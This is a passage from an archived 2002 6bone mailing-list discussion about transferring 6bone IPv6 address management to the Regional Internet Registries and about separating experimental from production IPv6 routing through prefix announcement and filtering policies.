> decision to do so is a local one for any network based on what
> is being done. The 6bone is part of the greater IPv4 and IPv6
> integrated Internet and must be for it to be of value. Just as
> we have poorly managed IPv4 networks that cause trouble for
> the greater whole, the 6bone has no monopoly on poor or perfect
> service among IPv6 networks. When we have problems with any
> IPv6 network we should all take steps to get them fixed or
> isolate them. This is not a 6bone-specific issue.

Strongly agree.

Michel.


From jordi.palet@consulintel.es Wed Aug 21 09:51:55 2002
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Date: Wed, 21 Aug 2002 18:54:41 +0200
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I agree,

Bob is doing a very good job, and we need to support him.

I wish he is with us a long time, as much as possible !, but unfortunately life is as we all know ;-)

Regards,
Jordi

PS: Itojun, he is not so older, ok ? You can't say somebody is getting older when he still has more energy than most of us ;-)

----- Original Message ----- 
From: <itojun@iijlab.net>
To: "Malayter, Christopher" <Christopher.Malayter@tdstelecom.com>
Cc: "'Philip Smith'" <pfs@cisco.com>; "6BONE List" <6bone@ISI.EDU>; "Bob Fink" <fink@es.net>
Sent: Wednesday, August 21, 2002 6:35 PM
Subject: Re: [6bone] proposal for transfer of 6bone address management res ponsibilities to RIRs


> >Is there any reason to do this?  Bob has done a fantastic job for forever.
> >Why would we want to move to a pay system from the RIR's who have no
> >incentive to dish out 3ffe::/16 space for a possible reduced price? when
> >they have production space. I think Bob is the way to go here.
> 
> Bob can't serve people forever.  in fact, he is a bit older than my dad
> (IIRC), so he should have some plans on retirement and such.
> i consider a system broken when everyone depends on single person.
> (for instance, what happens if Bob experiences a car accident?)
> 
> i really hope major ISPs outside of Japan to roll out IPv6 services
> based on sTLA address, and remove the needs for volunteer-based 6bone.
> 
> itojun
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
> 


***********************************************************
Madrid 2002 Global IPv6 Summit
See all the documents on line at:
www.ipv6-es.com



From wizard@italiansky.com Wed Aug 21 10:04:09 2002
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Hi to all,
according to me pay even a few membership to Rirs means that noone will ask
for 6bone space, only for production space.
Moving 6bone address under rirs means closing 6bone, I don't think ipv6 is
so widely deployed yet, I'm running a TB, if I have to pay for address space
I had to be paid from my customers.
Definitely I don't think it's time to think closing 6bone.
Best regards,

Matteo Tescione
Ipv6 Dept.
COMV6 - Italy


----- Original Message -----
From: "Bob Fink" <fink@es.net>
To: "6BONE List" <6bone@mailman.isi.edu>
Sent: Wednesday, August 21, 2002 5:23 PM
Subject: Re: [6bone] proposal for transfer of 6bone address management
responsibilities to RIRs


> Michel, and all 6bone Folk,
>
> At 08:28 PM 8/20/2002 -0700, Michel Py wrote:
> >6boners,
> >
> >Please keep in mind that the choice that we are facing is *not* between
> >keeping the 6bone as-is and transferring it to RIRs.
> >
> >The choice we are facing is between transferring it to RIRs transferring
> >it to v6ops.
>
> Not so. Sorry I didn't clear that up earlier. I'll try to do so here.
>
> The 6bone has been under the operational and policy oversight of ngtrans
> since a few months after it was formed in 1996 until recently. During the
> last year that oversight has diminished due to pressures of the primary
> work of ngtrans. When the ngtrans chairs started to re-charter ngtrans,
> Randy Bush (the ngtrans IESG AD) made it clear that he didn't think the
> 6bone belonged in a new ngtrans charter. Note there was no discussion of
> where it might sit.
>
> Then just recently discussions started about a new v6ops working group.
> There was no intention to include the 6bone oversight function in its
charter.
>
> Independent of 6bone operational policy oversight was the issue of the
> 6bone being an address registry outside of the now agreed IPv6 address
> management and registry that the RIRs have developed (with very wide
> participation from the Internet community). This causes problems for two
> reasons:
>
> One is that if the 6bone is allowed to be a high-level address registry
not
> under the scrutiny and agreements of the Internet community registry
> processes (i.e., those of the RIRs), others can make the case that they
> should be as well. This will become more and more of a problem as time
goes
> on and will likely cause the 6bone's address authority (over 3FFE://16) to
> be withdrawn earlier than might otherwise be appropriate.
>
> Second is that the RIRs have oversight over the ip6.arpa reverse DNS
> registry. As IPv6 deployment evolves it becomes increasingly more
important
> that 6bone networks can register in the ip6.arpa path. Note that this does
> not mean that you can't use ip6.int, just that ip6.arpa will become
> prevalent in usage and the 6bone must have access to it. It seems unlikely
> that the 6bone will be able to use ip6.arpa without some form of agreement
> with the RIRs.
>
> A few other issues.
>
> In the proposal there is emphasis on keeping the cost of getting 6bone
> prefixes from the RIRs as low as possible. The RIRs, as I, are sensitive
to
> the fact that many are unable to spend much (or possibly anything) to
> participate. I would still like to see a way that those claiming they
can't
> afford even a nominal/low fee be able to qualify for some special aid.
This
> had been discussed briefly but there was no resolution on how it might
happen.
>
> The future of the 6bone 3FFE::/16 address block authority and its
> continuance will not be in RIR hands. Where it will be is not obvious yet,
> but I assume somewhere at the IETF policy level. This will be explored in
> the coming months.
>
> Where operational and policy oversight will come from is an interesting
> issue. Although in theory it came, for a while, from ngtrans (as mentioned
> above), this wasn't really true in practice. It really came from the
> collective 6bone community and its own consensus about what worked and
what
> didn't. I expect this will continue. The RIRs also expect that the 6bone
> community will continue to make decisions about its operations and
policies.
>
> On keeping the 6bone separate from the production IPv6 Internet, I believe
> that to be seldom if ever necessary, and that the decision to do so is a
> local one for any network based on what is being done. The 6bone is part
of
> the greater IPv4 and IPv6 integrated Internet and must be for it to be of
> value. Just as we have poorly managed IPv4 networks that cause trouble for
> the greater whole, the 6bone has no monopoly on poor or perfect service
> among IPv6 networks. When we have problems with any IPv6 network we should
> all take steps to get them fixed or isolate them. This is not a
> 6bone-specific issue.
>
>
> We (me and RIRs) appreciate your comments as they do help us understand
the
> issues. Keep them coming!
>
>
> Thanks,
>
> Bob
>
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone


From fink@es.net Wed Aug 21 10:04:27 2002
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Subject: Re: [6bone] proposal for transfer of 6bone address management
  responsibilities to RIRs
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Ronald,

At 06:21 PM 8/21/2002 +0200, Ronald van der Pol wrote:
>On Wed, Aug 21, 2002 at 08:23:27 -0700, Bob Fink wrote:
>
> > On keeping the 6bone separate from the production IPv6 Internet, I believe
> > that to be seldom if ever necessary, and that the decision to do so is a
> > local one for any network based on what is being done.
>
>No, it is not a local decision. That is the problem. When I choose to
>serarate them, I can. But my packets travel via several AS-es over
>production links until somewhere, far away, it's routed over an
>experimental service and gets blackholed. I have a problem when
>the policy in that place far away is: well, we are just experimenting
>with IPv6. This can only be solved when we all agree on a minimal
>quality.

I don't disagree that other's casual or irresponsible behavior can hurt 
someone else far away, but it can only be their local decision to decide 
what their behavior will be. The rest of us then can decide if we like that 
behavior and try to filter, block, or whatever to avoid the problems caused 
for the rest of us.

The IPv4 Internet has definitely had this problem and the collective 
efforts of other operators has dealt with this, as well as the market place 
deciding what to support or not. Unfortunately it isn't (and likely will 
never be) a perfect process. Many of us have had to live with very 
unacceptable behavior from supposedly very professionally operated large 
ISPs. However, I stray. Your next comment is the important one here.


>I think we have a very big problem. Some people say: current IPv6
>transport is bad. Other people say: there is no problem.

I agree that we need to do more to police ourselves. Myself, I've come to 
be in favor of revoking pTLAs from unresponsive and poorly managed pTLA 
holders. However, we need a good process as well as strong 6bone community 
support to do this.

I would very much like to hear proposals, as well as newer versions of 
RFC2772, that address this. To state the obvious, the RIRs won't do this 
for us (nor should they) and if we don't do it the life of the 6bone is 
likely to be shortened considerably.


Thanks,

Bob


From fink@es.net Wed Aug 21 10:06:09 2002
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Date: Wed, 21 Aug 2002 10:05:25 -0700
To: "Michel Py" <michel@arneill-py.sacramento.ca.us>, <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
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Michel,

At 09:44 AM 8/21/2002 -0700, Michel Py wrote:
>Bob,
>
> >> Michel Py wrote:
> >> Please keep in mind that the choice that we are facing is *not*
> >> between keeping the 6bone as-is and transferring it to RIRs.
> >> The choice we are facing is between transferring it to RIRs
> >> transferring it to v6ops.
>
> > Bob Fink wrote:
> > Not so. Sorry I didn't clear that up earlier. I'll try to
> > do so here.
>
> > Then just recently discussions started about a new v6ops
> > working group. There was no intention to include the 6bone
> > oversight function in its charter.
>
>My point, precisely.
>
>Assuming (reasonable likeliness) that v6ops will be created and ngtrans
>will indeed conclude my understanding was that the 6bone oversight will
>be (short-term) either:
>- By default transferred to v6ops, who does not care about it and could
>dump the 6bone concept as a whole.
>- Be transferred into a void.
>(none of which is good, IMHO)
>
> > The future of the 6bone 3FFE::/16 address block authority
> > and its continuance will not be in RIR hands. Where it will
> > be is not obvious yet, but I assume somewhere at the IETF
> > policy level. This will be explored in the coming months.
>
>WRT what I wrote above, I think the "where it will be" is one of the
>important parts that is missing as of today, IMHO. If you prefer, the
>lack of a "home" for the 6bone has "catastrophe" written all over it.
>
>In other words, I don't think we have much of a choice but make this
>transfer of address management to the RIRs work.
>
> > Where operational and policy oversight will come from is
> > an interesting issue. Although in theory it came, for a
> > while, from ngtrans (as mentioned above), this wasn't
> > really true in practice.
>
>I think it was true in the sense that you were co-chair of ngtrans at
>the time.
>
> > It really came from the  collective 6bone community and its
> > own consensus about what worked and what didn't. I expect
> > this will continue. The RIRs also expect that the 6bone
> > community will continue to make decisions about its
> > operations and policies.
>
>Bob, have you thought about the 6bone being a WG of its own (possibly
>outside the O&M area) or something similar? There are things such as the
>much discussed "STRICT" prefix-list and related topics that could be
>done more formally.

When I tried to do this in '96 it was placed into ngtrans by the then 
responsible ADs. I'm not sure what is really acceptable now, but intend to 
pursue it.


Thanks,

Bob

> > On keeping the 6bone separate from the production IPv6 Internet,
> > I believe that to be seldom if ever necessary, and that the
> > decision to do so is a local one for any network based on what
> > is being done. The 6bone is part of the greater IPv4 and IPv6
> > integrated Internet and must be for it to be of value. Just as
> > we have poorly managed IPv4 networks that cause trouble for
> > the greater whole, the 6bone has no monopoly on poor or perfect
> > service among IPv6 networks. When we have problems with any
> > IPv6 network we should all take steps to get them fixed or
> > isolate them. This is not a 6bone-specific issue.
>
>Strongly agree.
>
>Michel.


From bmanning@ISI.EDU Wed Aug 21 10:29:23 2002
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From: Bill Manning <bmanning@ISI.EDU>
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Subject: Re: [6bone] separating IPv6 experimental from production traffic
In-Reply-To: <20020821134125.GG15554@rvdp.org> from Ronald van der Pol at "Aug 21, 2 03:41:25 pm"
To: Ronald.vanderPol@rvdp.org (Ronald van der Pol)
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% At this stage I am only asking for separation of experiment from
% production. I am not saying anything yet about what prefixes to
% use where. I am also not saying yet what the experimental network
% (the 6bone) should be used for.  I guess all I am saying is: don't
% use the 6bone for production traffic. In my view in the new situation
% a site can have two kinds of peerings: 6bone peering or production
% peering. What should be prevented is traffic coming from the
% production network, going via the experimental network to a production
% destination.
% 
% Comments?
% 
% 	rvdp
% _______________________________________________

	Tell me how you propose to do this?
	If we want things to work, we need to use them.
	For myself, I find that the term "production"
	is vague at best.  I don't think we (as users
	of v6 protocols) can dictate such a change.
	A majority of my v6 peering/transit providers
	are -UNWILLING- to run infrastructure in dual-stack
	mode due to code/feature stability.  So there is
	a v4 suite of routers and a separate v6 suite of
	routers.  Until vendor code is -MUCH- more stable
	and the features are integrated, we will have 
	this appearence of a "production" v4 network and
	an "experiemental" v6 network, at least as seen 
	by a significant portion of the IP community (save JP).

	If we don't use(and fix) what we create, it will never
	be used. 

-- 
--bill

From chuck@snew.com Wed Aug 21 10:36:11 2002
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Date: Wed, 21 Aug 2002 10:36:04 -0700
From: Chuck Yerkes <chuck+6bone@snew.com>
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I'm catching up on mail and all of this thread.
I'm also seeing some terms being tossed around perhaps incorrectly.
I want to make some definitions and then draw the differences if
it's not clear.

6bone: An experimental backbone made up of tunnels through
       IPv4 space, direct connects and held together with chewing gum
       in some places.
       Its purpose is to allow early adopters a place to PLAY
       with and experiment with IPv6 protocols and programs.

IPv6 backbone: A set of networks running IPv6 (at least on the
       part exposed to the "backbone" that must be of production
       quality.  Like the IPv4 network and VPNs, there may be tunnels
       from one part to another across either IPv4 or IPv6.
         There may be more than one, but address really should
       never clash.  For example, my office might have a production
       IPv6 network; it MIGHT have a connection to the experimental
       6bone; strong filtering MUST be in place to protect the
       production side from flakiness of the 6bone.

To me, the term "production 6bone" is contradictory. The goal
of the 6bone (indicated by 3FFE) is that it is experimental
by nature.  If BGP erros bring everything to a stop, that's a
risk of being on the playground.  If you lose production quality
services, then that was YOUR mistake.

My use of IPv6 is entirely non-production for learning and
"getting familiar" with the tools and protocols. With OS X10.2's
release, I'll be able to drop IPv4 entirely (except for a
printer and an Annex ;), but that's the insane home LAN. Not
production.  My expectations that my tunnel be up 24x7 are
far lower than my (shattered) expectations that my PBI DSL
always be there.  Routes to sites 500 miles away are insane
on the 6bone.

I do understand that, after 6 years and some solid implementations
in OS's by default, we're ready to start rolling out some
production services.  Many of us have been working with the
protocols for years.  Many of us can recognize the value it
can present on production networks.  We're just about at the
point where we could start to have segments with no IPv4 at
all - and that can just spread virally from segment to segment
until IPv4 is remaining for some older things and tunnelled
through an IPv6 backbone.

I'd LOVE IT if some of the larger ISPs and backbones started
to feel that IPv6 was a good core transit mechanism - even if
that IPv6 part never reached the edges where the customers
join (see also OSPF use in the mid 90s).

The only way that can happen is to prepare the infrastructures
necessary to start allocating non-6bone addresses, to set up
production peering resources, etc.

While Bob's time and efforts have been invaluable to making
this experiment work and give useful information, perhaps we
might ponder giving him a rest.  I won't go wit the car accident.
I will wonder what happens when he wins the lottery and flys
off with several supermodel/masseuses/chefs, never to be seen again.

I also don't want to see the inevitable legal wrangling that
might take place with peering fall on one person's head.
(reference please Alternet's $10,000 peering fees of 1995).

The nightmare scenario, of course, is something like [i think]
ICANN.

By the time this is all worked out, other IPv6 missing bits may
be fixed (widely available NFSv6 jumps to mind).

So I view this proposal as groundwork.  Starting to clear the
lot to build new production networks that are separate from
the playgrounds that we've been using.

Not a replacement, but an enhancement.


okay, cost:  Costs will stop a lot of this from happening well.

On one hand, my site with 350 machines doesn't need and shouldn't
get a /80.  We have one connection to the (IPv4) network.  Our
collective experience is that changing prefixes is fairly
painless (change the advertised prefix, change DNS, rebind the
machines).  Certainly easier to manage than changing IPv4
addresses was in 1992.  I learned to love bootp really well
back then.

On the other hand, my previous site came THIS close to getting
a Class A, with help from Dr Cerf and nixing from Dr Postel.
We did a lot of work due to not having that.

What factors let these folks get a larger network space?

Does someone take address space away from Worldcom when they
are reduced to having 4 POPs and 2 DNS servers?

Or does their pTLA have a commodity value (as the Class B does
from a very previous employer - now with 15 employees).

Whose commodity is it and how might it be taken away from someone?
When the king of Europe is deposed and he absconds with 4FFE, by
what means can that be denied him?

But we've seen bumps here of providers disappearing, or tunnel
brokers being eaten by big companies (HP ate Compaq ate DEC).

And if one of the RIR's goes all NSI on us and gets greedy
is there recourse?  Is there an overlord who is no ICANN that
can yank their chain back?  Once the masses show up, greed and
self-destruction are soon to follow.


We've seen peering problems in the last couple months that 
bring into question peer based addresses.

Even continent based addressing is questionable.  Our asian
offices are mostly attached via VPN (or PN) to our US offices.
So our US IPv6 address might appear in the middle of Japan or
Hong Kong.  Should we have separate networks (prefixes) for
each office?

Or am I entirely overinflating the significance of this turning point?

chuck

From RJorgensen@upctechnology.com Wed Aug 21 10:40:21 2002
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To: "'Robert Kiessling'" <Robert.Kiessling@de.easynet.net>,
   Bob Fink
	 <fink@es.net>
Cc: 6BONE List <6bone@mailman.isi.edu>
Subject: RE: [6bone] proposal for transfer of 6bone address management res
	ponsibilities to RIRs
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Think Euro6IX's application would come under section 3.2.b) where it
says that special application will there be made exceptions from.
Correct me if I'm wrong, but that's how I understand that paragraph.


But, will it be the RIR alone that make the decision on who should get
addresses or is it the 6bone comunity (like today where it has a review
periode before it's decided)? Or a joint effort from both?



---
Roger Jorgensen (rjorgensen@upctechnology.com)
System Engineer @ engineering - UPC Technology
handles: ROJO1-6BONE ROJO9-RIPE RJC10-NORID


> -----Original Message-----
> From: Robert Kiessling [mailto:Robert.Kiessling@de.easynet.net]
> Sent: Wednesday, August 21, 2002 6:51 PM
> To: Bob Fink
> Cc: 6BONE List
> Subject: Re: [6bone] proposal for transfer of 6bone address management
> responsibilities to RIRs
> 
> 
> One point to bear in mind: RIRs (at least RIPE) will NOT be
> flexible. If they are told to implement 2772, they will do exactly
> this, and e.g. immediately reject Euro6IX's application because they
> have no prior 6bone experience.
> 
> Robert
> 
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
> 

From jordi.palet@consulintel.es Wed Aug 21 11:02:30 2002
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From: "JORDI PALET MARTINEZ" <jordi.palet@consulintel.es>
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Well, isn't true the lack of experience.

If you see the list of participants on the project (http://www.euro6ix.org/ingles/partners/partners.php), almost all of them have a
LOT of 6Bone and IPv6 experience. From 17 partners, if I'm not wrong, 16 are connected to the 6Bone (1 of the partners is a lawyer
firm investigating IPv6 and privacy concerns). Euro6IX, as a project, has no legal entity, and obviously, as such, "no experience"
at all in anything ;-)

Regards,
Jordi

----- Original Message -----
From: "Jorgensen, Roger" <RJorgensen@upctechnology.com>
To: "'Robert Kiessling'" <Robert.Kiessling@de.easynet.net>; "Bob Fink" <fink@es.net>
Cc: "6BONE List" <6bone@mailman.isi.edu>
Sent: Wednesday, August 21, 2002 7:33 PM
Subject: RE: [6bone] proposal for transfer of 6bone address management responsibilities to RIRs


> Think Euro6IX's application would come under section 3.2.b) where it
> says that special application will there be made exceptions from.
> Correct me if I'm wrong, but that's how I understand that paragraph.
>
>
> But, will it be the RIR alone that make the decision on who should get
> addresses or is it the 6bone comunity (like today where it has a review
> periode before it's decided)? Or a joint effort from both?
>
>
>
> ---
> Roger Jorgensen (rjorgensen@upctechnology.com)
> System Engineer @ engineering - UPC Technology
> handles: ROJO1-6BONE ROJO9-RIPE RJC10-NORID
>
>
> > -----Original Message-----
> > From: Robert Kiessling [mailto:Robert.Kiessling@de.easynet.net]
> > Sent: Wednesday, August 21, 2002 6:51 PM
> > To: Bob Fink
> > Cc: 6BONE List
> > Subject: Re: [6bone] proposal for transfer of 6bone address management
> > responsibilities to RIRs
> >
> >
> > One point to bear in mind: RIRs (at least RIPE) will NOT be
> > flexible. If they are told to implement 2772, they will do exactly
> > this, and e.g. immediately reject Euro6IX's application because they
> > have no prior 6bone experience.
> >
> > Robert
> >
> > _______________________________________________
> > 6bone mailing list
> > 6bone@mailman.isi.edu
> > http://mailman.isi.edu/mailman/listinfo/6bone
> >
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
>


***********************************************************
Madrid 2002 Global IPv6 Summit
See all the documents on line at:
www.ipv6-es.com



From rvdp@kirk.rvdp.org Wed Aug 21 11:03:03 2002
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Date: Wed, 21 Aug 2002 20:02:57 +0200
From: Ronald van der Pol <Ronald.vanderPol@rvdp.org>
To: Bill Manning <bmanning@ISI.EDU>
Cc: 6bone@ISI.EDU
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On Wed, Aug 21, 2002 at 10:29:15 -0700, Bill Manning wrote:

> 	Tell me how you propose to do this?

I think we first have to decide what to do: cleanup or separation.

> 	If we want things to work, we need to use them.

Most of my traffic goes over v6.

> 	For myself, I find that the term "production"
> 	is vague at best.  I don't think we (as users
> 	of v6 protocols) can dictate such a change.
> 	A majority of my v6 peering/transit providers
> 	are -UNWILLING- to run infrastructure in dual-stack
> 	mode due to code/feature stability. 

Why should they? If I understand correctly, IIJ is offering
commercial IPv6 service over a separate infrastructure.

I agree "production" is vague. For me it means something like:
recent software, no dozens of tunnels all over the world, no
transit by small sites/ISPs, about the same number of transit
upstreams as you have for v4, monitoring and management
similar to v4.

> So there is
> 	a v4 suite of routers and a separate v6 suite of
> 	routers.  Until vendor code is -MUCH- more stable
> 	and the features are integrated, we will have 
> 	this appearence of a "production" v4 network and
> 	an "experiemental" v6 network, at least as seen 
> 	by a significant portion of the IP community (save JP).

At my previous job at SURFnet in the Netherlands we build a 10 Gbps
dual stack network with GSR routers. As of October last year it's
used daily by the Dutch research and university community. Although
most traffic is v4, the network supports both v4 and v6.  Both v4
and v6 are "production".

> 	If we don't use(and fix) what we create, it will never
> 	be used. 

More and more OSes run IPv6 out of the box. End users start using
IPv6 and notice problems because there are too many routing problems
on the 6bone. So they switch off IPv6 again. We are scaring people
away from IPv6 because of the tunnel mess, old router software
and sites that don't monitor the transit they are giving to everyone.

	rvdp

From bmanning@ISI.EDU Wed Aug 21 11:22:06 2002
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From: Bill Manning <bmanning@ISI.EDU>
Message-Id: <200208211821.g7LILnB29241@boreas.isi.edu>
Subject: Re: [6bone] separating IPv6 experimental from production traffic
In-Reply-To: <20020821180257.GA16927@rvdp.org> from Ronald van der Pol at "Aug 21, 2 08:02:57 pm"
To: Ronald.vanderPol@rvdp.org (Ronald van der Pol)
Date: Wed, 21 Aug 2002 11:21:49 -0700 (PDT)
Cc: bmanning@ISI.EDU, 6bone@ISI.EDU
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% > 	If we want things to work, we need to use them.
% Most of my traffic goes over v6.

	Hence you (and I) feel the pain of a system that works
	in a less robust mannor than the one we "left".  
	
% > 	For myself, I find that the term "production"
% > 	is vague at best.  I don't think we (as users
% > 	of v6 protocols) can dictate such a change.
% > 	A majority of my v6 peering/transit providers
% > 	are -UNWILLING- to run infrastructure in dual-stack
% > 	mode due to code/feature stability. 
% 
% Why should they? If I understand correctly, IIJ is offering
% commercial IPv6 service over a separate infrastructure.

	Not everyone can afford to pay IIJ rates.
	IIJ services are not available in my area.
	One of the promises of v6 was that -AS A TRANSITION-
	folks could run dual stack.  Not to pick, but
	the router vendors I've looked at do not have 
	similar code quality or feature sets between v4 and v6.
	I'm doing my part to leverage vendors to syncronize
	the feature sets and merge v4/v6 support.

% I agree "production" is vague. For me it means something like:
% recent software, no dozens of tunnels all over the world, no
% transit by small sites/ISPs, about the same number of transit
% upstreams as you have for v4, monitoring and management
% similar to v4.

	means different things to different people.
	so does "experimental" 

% At my previous job at SURFnet in the Netherlands we build a 10 Gbps
% dual stack network with GSR routers. As of October last year it's
% used daily by the Dutch research and university community. Although
% most traffic is v4, the network supports both v4 and v6.  Both v4
% and v6 are "production".

	Ok, JP and SURFnet.  And now the I2 network.  Waiting
	on  (telco/ISPs) in the US to join the party.
	As for me, I've been running dual-stack GSR code for
	about the same period of time. Don't use alot of the
	nifty bells/whistles since I'm a low-frills, bit-pipe
	only kind of shop. I don't have to deal w/ accounting,
	VPNs, QoS, RED... ad.nausa. that commercial providers
	do.  R&E use is distinctly different than commercial
	providers.  They need to be able tosupport AUP/SLA
	crap that we don't.                        

% > 	If we don't use(and fix) what we create, it will never
% > 	be used. 
% 
% More and more OSes run IPv6 out of the box. End users start using
% IPv6 and notice problems because there are too many routing problems
% on the 6bone. So they switch off IPv6 again. We are scaring people
% away from IPv6 because of the tunnel mess, old router software
% and sites that don't monitor the transit they are giving to everyone.

	Same was true with inital IPv4 deployment.

% 
% 	rvdp
% 


-- 
--bill

From michel@arneill-py.sacramento.ca.us Wed Aug 21 11:39:05 2002
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Bob,

>> Michel Py wrote:
>> Bob, have you thought about the 6bone being a WG of its own
>> (possibly outside the O&M area) or something similar? There
>> are things such as the much discussed "STRICT" prefix-list
>> and related topics that could be done more formally.

> When I tried to do this in '96 it was placed into ngtrans by
> the then responsible ADs. I'm not sure what is really
> acceptable now, but intend to pursue it.

I looks fair to me that that someone (possibly the IESG) addresses this
situation; I was reading a minute ago the proposed agenda for the
interim v6ops meeting and there is no mention of the 6bone. The
conclusion of ngtrans (for reasons unrelated to the 6bone) does create a
situation that the 6bone community has not initiated.

I hope this is not boring but the reason I am commenting on the
oversight issue is more a "devil's advocate" thing: If I was a RIR, I
would certainly like to know clearly who oversees this /16 block that I
am supposed to manage. RIRs generally don't like voids.

Michel.


From rvdp@kirk.rvdp.org Wed Aug 21 12:07:20 2002
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From: Ronald van der Pol <Ronald.vanderPol@rvdp.org>
To: Bill Manning <bmanning@ISI.EDU>
Cc: 6bone@ISI.EDU
Subject: Re: [6bone] separating IPv6 experimental from production traffic
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On Wed, Aug 21, 2002 at 11:21:49 -0700, Bill Manning wrote:

> 	only kind of shop. I don't have to deal w/ accounting,
> 	VPNs, QoS, RED... ad.nausa. that commercial providers
> 	do.  R&E use is distinctly different than commercial
> 	providers.  They need to be able tosupport AUP/SLA
> 	crap that we don't.                        

The SURFnet network does have SLAs with its customers. Maybe the
difference is that it was designed with KISS as an important design
principle. Telcos seem to think that it all should be as complex
as possible. We did have problems with the combination of several
features. So we looked at which features could be scrapped and done
simpler.

> 	Same was true with inital IPv4 deployment.

Are you saying it's no problem to make the same mistake twice :-)

	rvdp

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Subject: Re: [6bone] separating IPv6 experimental from production traffic
In-Reply-To: <20020821190712.GB16927@rvdp.org> from Ronald van der Pol at "Aug 21, 2 09:07:12 pm"
To: Ronald.vanderPol@rvdp.org (Ronald van der Pol)
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% > 	Same was true with inital IPv4 deployment.
% 
% Are you saying it's no problem to make the same mistake twice :-)
% 
% 	rvdp

	I'm saying that its an endemic problem with early adopters.
	It does not matter what technology you look at.



-- 
--bill

From riel@conectiva.com.br Wed Aug 21 13:52:56 2002
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On Wed, 21 Aug 2002, Ronald van der Pol wrote:
> On Wed, Aug 21, 2002 at 10:29:15 -0700, Bill Manning wrote:
>
> > 	Tell me how you propose to do this?
>
> I think we first have to decide what to do: cleanup or separation.

This shouldn't be too hard, actually.  The main (only) complaint
I've seen is bad routing over the experimental network, to be
more precise, bad routing of _production_ packets over the 6bone.

Here is my naive proposal:

1) everybody can still have ipv6-over-ipv4 tunnels like today

2) peers notify each other whether their network is production
   or experimental

3) experimental (3ffe::/16) pTLAs announce only 3ffe:: prefixes
   to their production (2001::/16) peers

4) experimental pTLAs announce all prefixes to their 3ffe::/16
   peers

5) production networks announce all prefixes to everybody

This means that packets from one production network to another
production network will only get routed over production networks
and NOT over potentially unstable experimental networks.

It also means that the production and experimental parts of the
ipv6 space still have full connectivity to each other, ie the
reachability of either 3ffe::/16 or 2001::/16 space hasn't
gotten any worse.

The only change is that traffic between production networks is
travelling through production networks only and doesn't depend
on possible failures in the experimental network.

This also gives an incentive for ISPs to migrate from experimental
to production prefixes, since that will potentially give them better
ipv6 connectivity.

Any flaw in my reasoning ?

Would this idea be non-intrusive enough that it can be implemented
by the roughly 300 pTLAs and sTLAs out there today ?

kind regards,

Rik
-- 
Bravely reimplemented by the knights who say "NIH".

http://www.surriel.com/		http://distro.conectiva.com/


From jeffb@netc.com Wed Aug 21 14:57:58 2002
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From: Jeff Barrow <jeffb@netc.com>
To: Rik van Riel <riel@conectiva.com.br>
cc: Ronald van der Pol <Ronald.vanderPol@rvdp.org>,
   Bill Manning <bmanning@ISI.EDU>, <6bone@ISI.EDU>
Subject: Re: [6bone] separating IPv6 experimental from production traffic
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> This shouldn't be too hard, actually.  The main (only) complaint
> I've seen is bad routing over the experimental network, to be
> more precise, bad routing of _production_ packets over the 6bone.
>
> Here is my naive proposal:

Here's my even more naive proposal....

> 1) everybody can still have ipv6-over-ipv4 tunnels like today

> 2) peers notify each other whether their network is production
>    or experimental

> 3) experimental (3ffe::/16) pTLAs announce only 3ffe:: prefixes
>    to their production (2001::/16) peers
>
> 4) experimental pTLAs announce all prefixes to their 3ffe::/16
>    peers

Even better, change 3) and 4) to:

3) experimental pTLAs announce whatever they want to, but the production
peers all filter out incoming 2001::/16 prefixes from them.  This way,
even if an experimental pTLA messes up and starts announcing all prefixes
with their own ASN, or gets hit by that dreaded withdrawal bug, the
2001::/16 network will still be operational to itself--just the 3ffe://16
prefix may be bad.

Production pTLAs announce all prefixes to everyone, and listen from
other production pTLAs without the 2001::/16 filter.

This will, of course, require all production networks to be interconnected
by way of production networks only.  However, this method should be much
easier to accomplish, as only production pTLAs need to make configuration
changes to set this in place by adding a simple filter, instead of relying
on the experimental pTLAs to filter outgoing announcements (and trying to
contact them all); we just have to deal with the production-level pTLAs.

> 5) production networks announce all prefixes to everybody



From nicolas.deffayet@ndsoftware.net Wed Aug 21 15:05:31 2002
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Subject: Re: [6bone] separating IPv6 experimental from production traffic
From: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
To: Rik van Riel <riel@conectiva.com.br>
Cc: Ronald van der Pol <Ronald.vanderPol@rvdp.org>,
   Bill Manning
	 <bmanning@ISI.EDU>, 6bone@ISI.EDU
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On Wed, 2002-08-21 at 22:52, Rik van Riel wrote:
> On Wed, 21 Aug 2002, Ronald van der Pol wrote:
> > On Wed, Aug 21, 2002 at 10:29:15 -0700, Bill Manning wrote:
> >
> > > 	Tell me how you propose to do this?
> >
> > I think we first have to decide what to do: cleanup or separation.
> 
> This shouldn't be too hard, actually.  The main (only) complaint
> I've seen is bad routing over the experimental network, to be
> more precise, bad routing of _production_ packets over the 6bone.
> 
> Here is my naive proposal:
> 
> 1) everybody can still have ipv6-over-ipv4 tunnels like today
> 
> 2) peers notify each other whether their network is production
>    or experimental
> 
> 3) experimental (3ffe::/16) pTLAs announce only 3ffe:: prefixes
>    to their production (2001::/16) peers
> 
> 4) experimental pTLAs announce all prefixes to their 3ffe::/16
>    peers
> 
> 5) production networks announce all prefixes to everybody

I add:
  
  6) Don't provide by default full transit to peers, provide full
transit only if peer request it.


It will be very difficult to apply a policy on 6bone without a big
clean.

> 
> This means that packets from one production network to another
> production network will only get routed over production networks
> and NOT over potentially unstable experimental networks.
> 
> It also means that the production and experimental parts of the
> ipv6 space still have full connectivity to each other, ie the
> reachability of either 3ffe::/16 or 2001::/16 space hasn't
> gotten any worse.
> 
> The only change is that traffic between production networks is
> travelling through production networks only and doesn't depend
> on possible failures in the experimental network.
> 
> This also gives an incentive for ISPs to migrate from experimental
> to production prefixes, since that will potentially give them better
> ipv6 connectivity.
> 
> Any flaw in my reasoning ?
> 

I think that it's the best way.

Best Regards,

Nicolas DEFFAYET


From riel@conectiva.com.br Wed Aug 21 15:07:51 2002
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On Wed, 21 Aug 2002, Jeff Barrow wrote:

> Even better, change 3) and 4) to:
>
> 3) experimental pTLAs announce whatever they want to, but the production
> peers all filter out incoming 2001::/16 prefixes from them.  This way,
